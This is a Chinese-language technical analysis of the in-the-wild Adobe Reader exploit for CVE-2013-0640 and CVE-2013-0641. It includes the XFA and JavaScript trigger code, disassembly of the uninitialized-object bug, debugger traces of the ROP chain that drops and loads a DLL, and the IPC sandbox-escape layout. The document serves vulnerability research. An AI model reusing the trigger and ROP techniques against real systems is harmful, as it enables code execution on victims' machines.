一、前文背景

1)带漏洞的软件版本

Adobe Reader XI (11.0.01 and earlier) for Windows and Macintosh
Adobe Reader X (10.1.5 and earlier) for Windows and Macintosh
Adobe Reader 9.5.3 and earlier 9.x versions for Windows, Macintosh and Linux
Adobe Acrobat XI (11.0.01 and earlier) for Windows and Macintosh
Adobe Acrobat X (10.1.5 and earlier) for Windows and Macintosh
Adobe Acrobat 9.5.3 and earlier 9.x versions for Windows and Macintosh

2)关于AdobeReader阅读器

这篇文章是关于CVE-2013-0640安全漏洞的技术分析报告,它存在于AbobeReader软件的9、10、11这几个版本之下;该漏洞在2013年2月第一次被发现,在当时该漏洞已经很活跃了,本文包含了该漏洞的所有细节分析;Adobe Reader是由Adobe System公司开发的一个Portable Document Format(PDF)阅读器.Adobe XML forms architecture(XFA)是用XML格式指定来嵌入到PDF文档内部一个组件,它第一次是在PDF1.5的格式文档中被指定和使用,被保存于PDF内部,但该格式中存在大量的Bug.

3)关于CVE-2013-0640漏洞

在2013年二月份的时候,Adobe安全事件响应团队释放了名为security advisory APSA13-02的安全报告,在安全报告中说到有两个安全漏洞被广泛的利用(CVE-2013-0640和CVE-2013-0641);Intel实验室和McAfee实验室最先放出分析报告.

二、漏洞原因

1)代码分析

这个漏洞主要通过利用JavaScript脚本组件来植入到XFA表单里面,通过ROP技术来突破DEP和ASLR防护,从而控制软件上下文环境,获得权限.在下面的XFA表单中包含两个subform,第一个subform包含了一个choiceList对象,第二个subform包含了一个简单的绘画对象(如下).

<template xmlns="http://www.xfa.org/schema/xfa-template/2.8/">
<subform name="form1">
<pageSet>
<pageArea name="page1">
<contentArea />
<subform>
<field name="field0">
<ui><choiceList></choiceList></ui>
</field>
</subform>
</pageArea>
</pageSet>
<subform>
<draw name="rect1" />
</subform>
</subform>

上面的代码序列中包含一个Bug,这个Bug可以被JavaScript代码触发;首先要保存已经被使用过的choiceList对象的一个引用,然后第二个subform的绘画对象的keep.previous被改变为contentArea;之后,choiceList引用对象被重新附加到第一个subform,现在Bug被触发(如下).

function Trigger(){
MessWithTheMemory();
xfa.resolveNode("xfa[0].form[0].form1[0].#pageSet[0].page1[0].#subform[0].field0[0].#ui").oneOfChild=choiceList;} 
var choiceList = null;
function Start(){
choiceList=xfa.resolveNode("xfa[0].form[0].form1[0].#pageSet[0].page1[0].#subform[0].field0[0].#ui[0].#choiceList[0]");
xfa.resolveNode("xfa[0].form[0].form1[0].#subform[0].rect1").keep.previous= "contentArea";
ddd = app.setTimeOut("Trigger();", 1);}
Start();

2)汇编分析

Abobe Reader崩溃于AcroForm_api模块中,在崩溃前面函数位置0x20907FA0被调用,为了方便,这个函数调用的是UseTheUninitializedValue;它第一个调用的函数位置在0x209D76AE,名字为GetTheBrokenObject.调用之后在对象的结构加一,大概为一个引用计数吧;最后在结构偏移位置0x3C的地方被赋值,如果对象结构位置0x3C的地方不是NULL,那么将会使用0x3C地方的值来调用函数位置于0x209063B4,名称为crash_here,这个位置就是崩溃点(如下汇编代码).

.text:20907FA0 UseTheUninitializedValue
.text:20907FA0
.text:20907FA0 var_10 = dword ptr -10h
.text:20907FA0 var_4 = dword ptr -4g
.text:20907FA0 arg_0 = dword ptr 8
.text:20907FA0 arg_4 = dword ptr 0Ch
.text:20907FA0 arg_8 = dword ptr 10h
.text:20907FA0
.text:20907FA0 push 4
.text:20907FA2 mov eax, offset sub_20CE45C9
.text:20907FA7 call __EH_prolog3
.text:20907FAC mov ebx, ecx
.text:20907FAE and [ebp+var_10], 0
.text:20907FB2 push [ebp+arg_8]
.text:20907FB5 lea eax, [ebp+arg_8]
.text:20907FB8 push [ebp+arg_4]
.text:20907FBB push eax
.text:20907FBC call GetTheBrokenObject // 从这里获得未初始化的对象
.text:20907FC1 mov esi, [eax]
.text:20907FC3 test esi, esi
.text:20907FC5 mov [ebp+arg_4], esi
.text:20907FC8 jz short loc_20907FCD
.text:20907FCA inc dword ptr [esi+4] // 对象引用计数器?
.text:20907FCD
.text:20907FCD loc_20907FCD:
.text:20907FCD lea ecx, [ebp+arg_8]
.text:20907FD0 mov [ebp+var_4], 1
.text:20907FD7 call sub_208A7FA1
.text:20907FDC mov edi, [ebx+3Ch]
.text:20907FDF test edi, edi
.text:20907FE1 jz short loc_20908012
.text:20907FE3 cmp dword ptr [esi+3Ch], 0 //如果为0,跳过调用.
.text:20907FE7 jz short loc_20907FF2
.text:20907FE9 mov ecx, [esi+3Ch] // 这里的内存未被初始化.
.text:20907FEC push ebx
.text:20907FED call crash_here

在对象结构0x3C的地方是一个将被使用的指针,但这个指针是无效的,于是Adobe Reader在后面的引用该指针的时候就发生了崩溃(如下汇编代码).

.text:209063B4 crash_here
.text:209063B4 arg_0 = dword ptr 4
.text:209063B4
.text:209063B4 push esi
.text:209063B5 push edi
.text:209063B6 mov edi, ecx // EDI是无效值
.text:209063B8 mov esi, [edi+40h]
.text:209063BB test esi, esi
.text:209063BD jz short loc_209063FE
...
.text:209063FE loc_209063FE:
.text:209063FE
.text:209063FE pop edi
.text:209063FF pop esi
.text:20906400 retn 4
 text:20906400 crash_here endp

在上面代码中由于EDI被赋予了一个无效值,现在我们需要跳回到对象结构的构造函数.该函数位置于0x209D8D71,名称为InitializeBrokenObject.这个函数是构造一个对象结构,让我们看下它的汇编代码;注意0x3C的地方从来没有被初始化过(如下汇编代码).

.text:209D8D71 InitializeBrokenObject
.text:209D8D71
.text:209D8D71 arg_0 = dword ptr 4
.text:209D8D71 arg_4 = dword ptr 8
.text:209D8D71 arg_8 = dword ptr 0Ch
.text:209D8D71
.text:209D8D71 push esi
.text:209D8D72 push [esp+4+arg_0]
.text:209D8D76 mov esi, ecx
.text:209D8D78 call sub_209E7137 // ECX被赋予第二个参数.
.text:209D8D7D mov ecx, [esp+4+arg_4] // vtable.
.text:209D8D81 mov dword ptr [esi], offset broken_object
.text:209D8D87 mov eax, [ecx]
.text:209D8D89 xor edx, edx
.text:209D8D8B cmp eax, edx
.text:209D8D8D mov [esi+24h], eax
.text:209D8D90 jz short loc_209D8D95
.text:209D8D92 inc dword ptr [eax+4]
.text:209D8D95
.text:209D8D95 loc_209D8D95: // Offset 0x3c is not set.
.text:209D8D95 mov eax, [esp+4+arg_8]
.text:209D8D99 mov [esi+2Ch], eax
.text:209D8D9C mov [esi+30h], edx
.text:209D8D9F mov [esi+34h], edx
.text:209D8DA2 mov [esi+38h], edx
.text:209D8DA5 mov eax, off_20E93D74
.text:209D8DAA and dword ptr [esi+28h], 0FFFFFFF0h
.text:209D8DAE mov [esi+0Ch], eax
.text:209D8DB1 mov dword ptr [esi+10h], 0C9h
.text:209D8DB8 mov ecx, [ecx]
.text:209D8DBA cmp ecx, edx
.text:209D8DBC jz short loc_209D8DC1
.text:209D8DBE mov [ecx+3Ch], esi
.text:209D8DC1
.text:209D8DC1 loc_209D8DC1:
.text:209D8DC1 mov eax, esi
.text:209D8DC3 pop esi
.text:209D8DC4 retn 0Ch
.text:209D8DC4 InitializeBrokenObject endp

相信前面的内存使用,ESI+0x3C的值可能已经被改变,如果它是0,那么崩溃点将会被跳过并且没有任何事情发生;否则可能发生崩溃.到这里这个Bug分析就结束了,接下来的事情就是控制未初始化数据的值并且利用该Bug来植入可执行代码,这将是后面我们关注的焦点.

3)控制权限

继续接着上面讲,如果对象结构0x3C处的地方为0,那么将会跳走,没有任何事情发生;否则,可能调用到崩溃点.但如果对象结构0x3C的地方被赋予一个特定的地址,这个逻辑就会改变,那么崩溃函数将不再崩溃,继续执行.接下来对象结构0x3C处的指针加偏移0×4的位置减去1,如果不为零,仍然会跳走;否则对象结构0x3C的地方将会被调用.

.text:208A54A9                 mov     edi, [edi+3Ch]  ; 如果碰巧是0,跳过崩溃的函数.
.text:208A54AC                 test    edi, edi
.text:208A54AE                 jz      short loc_208A54E0
.text:208A54B0                 cmp     dword ptr [esi+3Ch], 0 ; 是否为0?
.text:208A54B4                 jz      short loc_208A54C1
.text:208A54B6                 push    dword ptr [ebp-10h]
.text:208A54B9                 mov     ecx, [esi+3Ch]  ; 这里的内存未被初始化.
.text:208A54BC                 call    crash_here
.text:208A54C1
.text:208A54C1 loc_208A54C1:                           ; CODE XREF: .text:208A54B4j
.text:208A54C1                 inc     dword ptr [edi+4]
.text:208A54C4                 mov     ecx, [esi+3Ch]
.text:208A54C7                 test    ecx, ecx        ;无效值
.text:208A54C9                 jz      short SkipExploitPoint
.text:208A54CB                 dec     dword ptr [ecx+4] ; [[结构对象+0x3C]+0x4]==0?:继续:跳走
.text:208A54CE                 jnz     short SkipExploitPoint
.text:208A54D0                 mov     eax, [ecx];无效指针,被攻击者填充的内存.
.text:208A54D2                 push    ebx
.text:208A54D3                 call    dword ptr [eax] ; 触发虚函数调用
.text:208A54D5
.text:208A54D5 SkipExploitPoint:                       ; CODE XREF: .text:208A54C9j

三、利用分析

CVE-2013-0640利用的大致方式为,使用堆栈溢出来改写一个错误的虚函数指针,通过上面call dword ptr [eax]这一行汇编代码来触发调用,并且使用了一个内存地址泄漏漏洞来绕过ASLR(地址随机布局化),并且使用ROP技术来绕过DEP(数据执行保护).

.text:208A54D3                 call    dword ptr [eax] ; 通过前面修改的虚函数指针,这行会触发虚函数调用.
现在指令将会调用到一个ROP链地址,它是ROP链的出发点.第一个RO地址为0x209b9f50,看下该处的汇编代码(如下).
.text:209B9F42                 mov     eax, [ecx+4]
.text:209B9F45                 test    eax, eax
.text:209B9F47                 jz      short loc_209B9F57
.text:209B9F49                 push    eax
.text:209B9F4A                 mov     eax, dword_2128C66C
.text:209B9F4F                 call    dword ptr [eax+5Ch]
.text:209B9F52                 pop     ecx
.text:209B9F53                 movzx   eax, ax
.text:209B9F56                 retn

但是,如果从0x209b9f50开始解码,这里存在一个堆栈溢出,EAX会改写ESP寄存器的值;这将会指向ROP链的冒牌堆栈,看下汇编代码(如下).

.text:209B9F42                 mov     eax, [ecx+4]
.text:209B9F45                 test    eax, eax
.text:209B9F47                 jz      short loc_209B9F57
.text:209B9F49                 push    eax
.text:209B9F4A                 mov     eax, dword_2128C66C
.text:209B9F4A ; ---------------------------------------------------------------------------
.text:209B9F4F                 db 0FFh
.text:209B9F50 ; ---------------------------------------------------------------------------
.text:209B9F50                 push    eax
.text:209B9F51                 pop     esp
.text:209B9F52                 pop     ecx
.text:209B9F53                 movzx   eax, ax
.text:209B9F56                 retn

现在堆栈指向一个在堆上的冒牌堆栈,在调试器中运行的时候,上面的堆栈变换过程看起来像下面这个样子;首先在模块装载时断下(sxe ld AcroForm.api),然后算出0x209b9f50的偏移地址0x1B9F50加上模块装载基址;用bp指令下断点,当这行AcroForm!DllUnregisterServer+0x135ae执行完毕以后,ESP寄存器被EAX改写了,EAX是指向一个冒牌堆栈.(如下).

0:009> sxe ld AcroForm.api
(780.a0c): C++ EH exception - code e06d7363 (first chance)
ModLoad: 61510000 621bd000   C:\Program Files (x86)\Adobe\Reader 11.0\Reader\plug_ins\AcroForm.api
eax=00000000 ebx=00000000 ecx=00000000 edx=00000000 esi=0050dc50 edi=0050dc18
eip=00b6c622 esp=0050dae4 ebp=0050db20 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
00b6c622 83c404          add     esp,4
0:000> p
eax=11843934 ebx=00000001 ecx=11850258 edx=00000000 esi=19b8ef2c edi=074bee48
eip=616c9f51 esp=0050dd5c ebp=0050dd9c iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200246
AcroForm!DllUnregisterServer+0x135ae:
616c9f51 5c              pop     esp
0:000> p
eax=11843934 ebx=00000001 ecx=11850258 edx=00000000 esi=19b8ef2c edi=074bee48
eip=616c9f52 esp=11843934 ebp=0050dd9c iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200246
AcroForm!DllUnregisterServer+0x135af:
616c9f52 59              pop     ecx

如果冒牌堆栈现在开始工作,它将开始执行更多的RO地址,当后面的RET指令被执行的时候,堆栈现在看起来像下面这个样子,这是一个冒牌堆栈(如下).

eax=00003934 ebx=00000001 ecx=616c9f50 edx=00000000 esi=19b8ef2c edi=074bee48
eip=616c9f56 esp=11843938 ebp=0050dd9c iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200246
AcroForm!DllUnregisterServer+0x135b3:
616c9f56 c3              ret
0:000> dd esp
11843938  61511049 61511049 61511049 61511049
11843948  61511049 61511049 61511049 61511049
11843958  61511049 61511049 61511049 61511049
11843968  61511049 61511049 61511049 61511049
11843978  61511049 61511049 61511049 61511049
11843988  61511049 61511049 61511049 61511049
11843998  61511049 61511049 61511049 61511049
118439a8  61511049 61511049 61511049 61511049

上面堆栈中的地址是AcroForm.api模块装载基址偏移0×1049处的地址,这也是ROP链中的一个地址;通过把该地址的代码解码,变成了RET指令,看下汇编代码(如下).

.text:20801048                 test    ebx, eax
.text:2080104A                 jz      short loc_20801055
//解码后
.text:20801048                 db 85h
.text:20801049 ; ---------------------------------------------------------------------------
.text:20801049                 retn
.text:2080104A ; ---------------------------------------------------------------------------

当上面RET指令开始执行的时候,总共执行RET指令0×2480次,也就是.text:20801049 retn会重复执行0×2480次(如下).

0:000> dd esp+0x2480
11845dbc  618dd41a 61a68551 61dae001 61b78699
11845dcc  54746547 619bd51a 61a68551 61dae005
11845ddc  61b78699 50706d65 619bd51a 61a68551
11845dec  61dae009 61b78699 41687461 619bd51a
11845dfc  61a68551 61dae00d 61b78699 41414100
11845e0c  619bd51a 61a68551 61dae00e 61b78699
11845e1c  69727766 619bd51a 61a68551 61dae012
11845e2c  61b78699 41006574 619bd51a 61a68551
0:000> dd esp+0x247c
11845db8  61511049 618dd41a 61a68551 61dae001
11845dc8  61b78699 54746547 619bd51a 61a68551
11845dd8  61dae005 61b78699 50706d65 619bd51a
11845de8  61a68551 61dae009 61b78699 41687461
11845df8  619bd51a 61a68551 61dae00d 61b78699
11845e08  41414100 619bd51a 61a68551 61dae00e
11845e18  61b78699 69727766 619bd51a 61a68551
11845e28  61dae012 61b78699 41006574 619bd51a

现在看下esp+0×2480处的内容是什么数据,为了方便理解,我把ROP链esp+0×2480处的数据和指令地址依次放在下面讲解该段代码的流程,第一段ROP链的地址是填充函数字符串到指定内存位置(如下).

0:000> u 618dd41a
AcroForm!DllUnregisterServer+0x226a77:
618dd41a 54              push    esp
618dd41b 5e              pop     esi;这里可以看成堆栈平衡
618dd41c c3              ret;返回到[esp+0x2480]+0x4处的代码地址
0:000> u 61a68551
AcroForm!DllUnregisterServer+0x3b1bae:
61a68551 58              pop     eax;弹出[esp+0x2480]+0x8处的地址到EAX寄存器,这个地址是可写入的一段空内存.
61a68552 c3              ret;返回到[esp+0x2480]+0xC处的代码地址
AcroForm!DllUnregisterServer+0x4c1cf6:
61b78699 59              pop     ecx;弹出[esp+0x2480]+0x10处的数据字符串到ECX寄存器
61b7869a c3              ret;返回到[esp+0x2480]+0xC处的代码地址
0:000> u 619bd51a
AcroForm!DllUnregisterServer+0x306b77:
619bd51a 8908            mov     dword ptr [eax],ecx;保存ECX寄存器的字符串到EAX的空内存里面
619bd51c c3              ret;后面的省略,其填充的函数字符窜如下.
61dae001 47 65 74 54 65 6d 70 50 61 74 68 41 00 66 77 72 69 74  GetTempPathA.fwrit
61dae013 65 00 77 62 00 43 72 79 70 74 53 74 72 69 6e 67 54 6f  e.wb.CryptStringTo
61dae025 42 69 6e 61 72 79 41 00 6e 74 64 6c 6c 00 52 74 6c 44  BinaryA.ntdll.RtlD
61dae037 65 63 6f 6d 70 72 65 73 73 42 75 66 66 65 72 00 77 63  ecompressBuffer.wc
61dae049 73 73 74 72 00 41 44 4d 52 65 73 6f 75 72 63 65 43 6f  sstr.

填充了函数字符串之后,注意下面的这段汇编代码,所有API调用都会经过下面代码中的CALL,这段ROP大概主要就是依次获取上面函数地址,然后填充内存;第一个调用的API是LoadLibraryA,其装载模块的参数为MSVCR100.dll,ESP寄存器指针指向的第一个数据地址便是LoadLibraryA的参数地址.

eax=61b7b234 ebx=00000001 ecx=11846000 edx=00000000 esi=11845dc0 edi=11845ffc
eip=61a292ac esp=11845fbc ebp=0050dd9c iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200206
AcroForm!DllUnregisterServer+0x372909:
61a292ac ff10            call    dword ptr [eax]      ds:002b:61b7b234={kernel32!LoadLibraryA (75424bc6)}
堆栈数据:11845fbc 61dace46 61a87664 61a68551 cccc022c 61872c74 619e567b 615bed72 61a2943b
参数指针:61dace46 4d 53 56 43 52 31 30 30 2e 64 6c 6c 00 00 8d 04 5f 75  MSVCR100.dll....
第二个调用的API是GetProcAddress,参数1为MSVCR100.dll模块基址,参数2是wcsstr(如下)
eax=61b7b1ec ebx=00000001 ecx=66730000 edx=00d5755c esi=11845dc0 edi=11845fec
eip=61a292ac esp=11845fec ebp=0050dd9c iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202
AcroForm!DllUnregisterServer+0x372909:
61a292ac ff10            call    dword ptr [eax]      ds:002b:61b7b1ec={kernel32!GetProcAddress (75421202)}

堆栈数据:11845fec 66730000 61dae047 6151e598 61a8768d 11846000 61b986a0 6157f687 61a87664

参数指针:61dae047 77 63 73 73 74 72 00 41 44 4d 52 65 73 6f 75 72 63 65  wcsstr.

当kernel32!GetTempPathA地址被读取以后,就开始API调用了,第一个调用的API是GetTempPathA,其获得临时文件夹路径,看下汇编代码(如下).

0:000> p
eax=75442b74 ebx=00000001 ecx=75410000 edx=75410000 esi=11845dc0 edi=118462a0
eip=6151e598 esp=118462ac ebp=11846104 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200206
AcroForm!PlugInMain+0xc26a:
6151e598 ffe0            jmp     eax {kernel32!GetTempPathA (75442b74)}

之后用fopen函数往Abobe沙盒临时路径写文件,其参数1为C:\Users\ADMINI~1\AppData\Local\Temp\acrord32_sbx\D.T,其参数2为wb,看下汇编代码(如下).

0:000> p
eax=61b7b660 ebx=00000001 ecx=0000b400 edx=0000019e esi=11845dc0 edi=118463bc
eip=6151e3e1 esp=11846330 ebp=11846104 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202
AcroForm!PlugInMain+0xc0b3:
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Windows\system32\MSVCR100.dll - 
6151e3e1 ff20            jmp     dword ptr [eax]      ds:002b:61b7b660={MSVCR100!fopen (66793dcc)}
0:000> dd 11846330

堆栈数据:11846330  61a8768d 61dae101 61dae015 61a87664

参数指针:

61dae101 43 3a 5c 55 73 65 72 73 5c 41 44 4d 49 4e 49 7e 31 5c  C:\Users\ADMINI~1\
61dae113 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 54 65 6d 70  AppData\Local\Temp
61dae125 5c 61 63 72 6f 72 64 33 32 5f 73 62 78 5c 44 2e 54 00  \acrord32_sbx\D.T.

参数指针:61dae015 77 62 00 43 72 79 70 74 53 74 72 69 6e 67 54 6f 42 69  wb.

写入文件过程省略,当写入完毕之后,使用fclose函数关闭文件指针,看下汇编代码(如下)

0:000> p
eax=61b7b584 ebx=00000001 ecx=66751370 edx=00000000 esi=11845dc0 edi=118463b4
eip=6151e3e1 esp=118463d0 ebp=11846104 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202
AcroForm!PlugInMain+0xc0b3:
6151e3e1 ff20            jmp     dword ptr [eax]      ds:002b:61b7b584={MSVCR100!fclose (6674a864)}

当文件被写入完毕之后,代码将继续调用LoadLibraryA函数来装载刚才写入到沙盒临时路径的D.T文件,其全路径也就是参数为

C:\Users\ADMINI~1\AppData\Local\Temp\acrord32_sbx\D.T,看下汇编代码(如下).
0:000> p
eax=61b7b234 ebx=00000001 ecx=6674a8b9 edx=002ee3b8 esi=11845dc0 edi=118463b4
eip=61a292ac esp=118463e4 ebp=11846104 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200246
AcroForm!DllUnregisterServer+0x372909:
61a292ac ff10            call    dword ptr [eax]      ds:002b:61b7b234={kernel32!LoadLibraryA (75424bc6)}
0:000> dd 118463e4

堆栈数据:118463e4  61dae101 61a68551 61b7b0d4 61a292ac

参数指针:

61dae101 43 3a 5c 55 73 65 72 73 5c 41 44 4d 49 4e 49 7e 31 5c  C:\Users\ADMINI~1\
61dae113 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 54 65 6d 70  AppData\Local\Temp
61dae125 5c 61 63 72 6f 72 64 33 32 5f 73 62 78 5c 44 2e 54 00  \acrord32_sbx\D.T.

四、逃离沙盒

CVE-2013-0641被用于沙箱攻击,D.T加载后负责创建另一个名为L2P.T的动态链接库,并让中间调用进程完成加载过程来逃离沙箱;当D.T被进程加载以后(线程方式加载DLL无效),会进行一些其他的初始化操作(如进程句柄Duplicate),然后等待DLL卸载的时候,会创建两个线程,线程1负责显示一个错误消息,线程2负责进行沙箱攻击,当阅读器版本小于等于8的时候,不进行攻击;否则进行沙箱攻击,看下汇编代码流程(如下).

.text:10002364                 call    GetReaderVersion
.text:10002369                 cmp     eax, 8
.text:1000236C                 jbe     short loc_10002386 ; jumptable 10002345 default case
.text:1000236E                 push    0               ; 
.text:10002370                 push    0               ; 
.text:10002372                 push    0               ; 
.text:10002374                 push    offset BypassSandbox ; lpStartAddress
.text:10002379                 push    100000h         ; dwStackSize
.text:1000237E                 push    0               ; 
.text:10002380                 call    CreateThread    ; 创建逃离沙箱线程
.text:10002386 loc_10002386:         
.text:100022F1 DWORD __stdcall BypassSandbox(LPVOID)
.text:100022F1 BypassSandbox   proc near               
.text:100022F1                 call    SuspendOtherThread ; 负责挂起进程的其他线程
.text:100022F6                 call    GetReaderVersion ; 获得阅读器版本
.text:100022FB                 mov     reader_version, eax
.text:10002300                 call    CreateL2P_T     ; 创建L2P.T动态库文件
.text:10002305                 cmp     reader_version, 9
.text:1000230C                 jbe     short LoadDll_L2P_T ; 版本小于等于9,直接装载L2P.T到当前进程,版本9以下没有沙箱?
.text:1000230E                 call    EscapeSandbox   ; 绕过沙箱
.text:10002313                 push    0               ; uExitCode
.text:10002315                 call    ExitProcess     ; 退出进程

其漏洞原因是沙箱未对A系列和W系列API进行正确区分;其中A系函数的系统拷贝缓冲区是多字节长度,但W系函数是拷贝缓冲区应该为多字节长度×2,漏洞存在于沙箱进程的RegisterClipboardFormatA函数,先看一个沙箱调用API的结构(如下).

Struct IPCCall {
· Callback IPC tag       //API tag
· Parameter information  //参数信息
· Callback routine address //调用地址
}//structure

根据上面这个结构,攻击者调用RegisterClipboardW函数注册ROP数据代码地址0×8080020到共享内存,并且构造了RegisterClipboardFormatA函数的IPCCall结构信息,API tag为0×74,之后强行更改API tag为0×73,通过lpc机制发送到中间调用进程,中间调用进程根据API tag调用API,0×73是调用的W系函数,实际拷贝缓冲区为大小×2,之后拷贝ROP_shellcode到共享内存,最后拷贝ROP_shellcode到RegisterClipboardW注册的数据地址,导致一些虚函数指针被覆盖,当中间进程收到API调用请求以后,在中间调用进程的AcroRd32.exe+0x9728A位置处处获得控制权限,从而实现了沙箱攻击.最先调用RegisterClipboardW注册和触发共享内存,其数据为0×80大小unsigned long类型的数据,数据填充为ROP数据地址8080020h,其汇编代码(如下).

.text:10001D71 RegisterClipboard proc near
.text:10001D71 var_208         = dword ptr -208h
.text:10001D71 var_204         = dword ptr -204h
.text:10001D71 szFormat        = word ptr -200h
.text:10001D71 var_2           = word ptr -2
.............................................................................................
.text:10001D7C loc_10001D7C:
.text:10001D7C                 mov     dword ptr [ebp+eax*4+szFormat], 8080020h
.text:10001D87                 inc     eax
.text:10001D88                 cmp     eax, 80h        ; 构建0x80大小的unsigned long类型缓冲区,其数据为08080020
.text:10001D8D                 jb      short loc_10001D7C
.text:10001D8F                 mov     [ebp+var_2], 0
.text:10001D95                 cmp     reader_version, 0Ah
.text:10001D9C                 jnz     short loc_10001E12 ; 判断阅读器版本号
.............................................................................................
.text:10001E12 loc_10001E12:
.text:10001E12                 lea     eax, [ebp+szFormat] ; 注册ROP_shellcode数据代码地址
.text:10001E18                 push    eax             ; lpszFormat
.text:10001E19                 call    RegisterClipboardFormatW
.............................................................................................
.text:10001E22 RegisterClipboard endp

之后进行ROP布局,其ROP布局如下,获得大小为0xC800000的共享内存,并占位缓冲区前面1000字节,之后计算ROP_shellcode开始拷贝的地址,按0×400大小方式拷贝对其,一直拷贝到内存结束,其汇编代码和数据(如下).

.text:10002B4D rop_shellcode   proc near               ; CODE XREF: EscapeSandbox+24p
.text:10002B4D
.text:10002B4D var_400         = dword ptr -400h
.text:10002B4D src             = dword ptr -380h
.text:10002B4D arg_0           = dword ptr  8
.text:10002B4D                 push    ebp
.text:10002B4E                 mov     ebp, esp
.text:10002B50                 sub     esp, 400h
.text:10002B56                 push    ebx
.text:10002B57                 push    esi
.text:10002B58                 push    edi
.text:10002B59                 mov     ebx, [ebp+arg_0] ; 要分配的内存大小0xC800000
.text:10002B5C                 push    offset Buffer   ; 构造的L2P.T路径缓冲区
.text:10002B61                 lea     eax, [ebp+rop_buffer];存放ROP链的缓冲区.
.text:10002B67                 push    eax
.text:10002B68                 call    make_rop_shellcode ; 建立rop链表,其ROP数据如下
.text:10002B6D                 push    ebx
.text:10002B6E                 call    sub_10003840    ; 获得共享内存
........................................................................
.text:10002B76                 add     ebx, esi        ; 计算共享内存束地址
.text:10002B78                 mov     edi, esi
.text:10002B7A                 push    3E0h
.text:10002B7F                 lea     eax, [ebp+src]
.text:10002B85                 push    eax
.text:10002B86                 push    edi
.text:10002B87                 call    sub_100030D0    ; 占位内存前面1000字节
.text:10002B8C                 add     esp, 0Ch
.text:10002B8F                 add     edi, 3E0h       ; 计算ROP_shellcode开始拷贝的地址
.text:10002B95                 jmp     short loc_10002BB2
.text:10002B97 loc_10002B97:                           ; CODE XREF: rop_shellcode+6D_x0019_j
.text:10002B97                 push    400h
.text:10002B9C                 lea     eax, [ebp+rop_buffer]
.text:10002BA2                 push    eax
.text:10002BA3                 push    edi
.text:10002BA4                 call    sub_100030D0    ; 拷贝ROP_shellcode到共享内存
.text:10002BA9                 add     esp, 0Ch
.text:10002BAC                 add     edi, 400h       ; 计算下次拷贝的地址
.text:10002BB2 loc_10002BB2:                           ; CODE XREF: rop_shellcode+48j
.text:10002BB2                 lea     eax, [edi+400h]
.text:10002BB8                 cmp     eax, ebx
.text:10002BBA                 jb      short loc_10002B97 ; 循环拷贝ROP_shellcode到内存结束
0:005> dds ebp-400h
1b5ef590  41414141
1b5ef594  41414141
1b5ef598  41414141
1b5ef59c  41414141
1b5ef5a0  41414141
1b5ef5a4  41414141
1b5ef5a8  41414141
1b5ef5ac  41414141
1b5ef5b0  765214eb CLBCatQ+0x14eb
1b5ef5b4  765214eb CLBCatQ+0x14eb
1b5ef5b8  76524527 CLBCatQ!GetCatalogObject2+0xe71
1b5ef5bc  76551566 CLBCatQ!OpenComponentLibraryOnMemEx+0x22e9
1b5ef5c0  765214eb CLBCatQ+0x14eb
1b5ef5c4  765214eb CLBCatQ+0x14eb
1b5ef5c8  765214eb CLBCatQ+0x14eb
1b5ef5cc  75a01e12 kernel32!LoadLibraryW
1b5ef5d0  765214eb CLBCatQ+0x14eb
1b5ef5d4  08080054
1b5ef5d8  75a010ef kernel32!Sleep
1b5ef5dc  765214eb CLBCatQ+0x14eb

然后再构建0x9C大小的RegisterClipboardFormatA函数lpc缓冲区数据,数据设置为0×42,静态变量D.T+initOLEcontainer+0x2b0b0为构建IPCCall的Ipc 缓冲区,调用API tag为0×73,也就是W系列函数,其汇编代码(如下).

0:011> 
eax=1934d43c ebx=0000c170 ecx=00000000 edx=000000a0 esi=0000c170 edi=0000009c
eip=19321ea5 esp=1b8df938 ebp=1b8dfb4c iopl=0         nv up ei pl nz ac pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000216
D+0x1ea5:
19321ea5 683cd43419      push    offset D!initOLEcontainer+0x2b0b0 (1934d43c)
0:011> dd 1934d43c
1934d43c  00000073 00000000 00000000 00000000
1934d44c  00000000 00000000 00000000 00000000
1934d45c  00000000 00000000 00000000 00000000
1934d46c  00000000 00000000 00000000 00000002
1934d47c  00000006 00000064 0000009c 00000002
1934d48c  00000100 00000004 ffffffff 00000104
1934d49c  ffffffff 42424242 42424242 42424242
1934d4ac  42424242 42424242 42424242 42424242

现在,调用流程转到了另一个中间调用进程,中间调用进程通过IPC机制与沙盒进程来传递IPCCall信息;当中间调用进程执行到AcroRd32.exe+0x9728A处,开始调用OpenComponentLibraryOnMemEx函数的时候,发生了堆栈溢出,从而改变了ESP指针,进行第二次攻击,其汇编代码(如下).

0:006> u AcroRd32.exe+0x9728a
0139728a ffd0            call    eax;控制点

中间调用进程调用OpenComponentLibraryOnMemEx函数,发生了堆栈溢出,EDX的数据是布置的rop_shellcode代码,函数调用结束的时候EDX被反弹到ESP寄存器.

eax=75eb1566 ebx=03d4f518 ecx=10d8dd30 edx=08080020 esi=002462e0 edi=10d8dd30
eip=0031728a esp=024efc60 ebp=024efc70 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
0031728a ffd0            call    eax {CLBCatQ!OpenComponentLibraryOnMemEx+0x22e9 (75eb1566)}
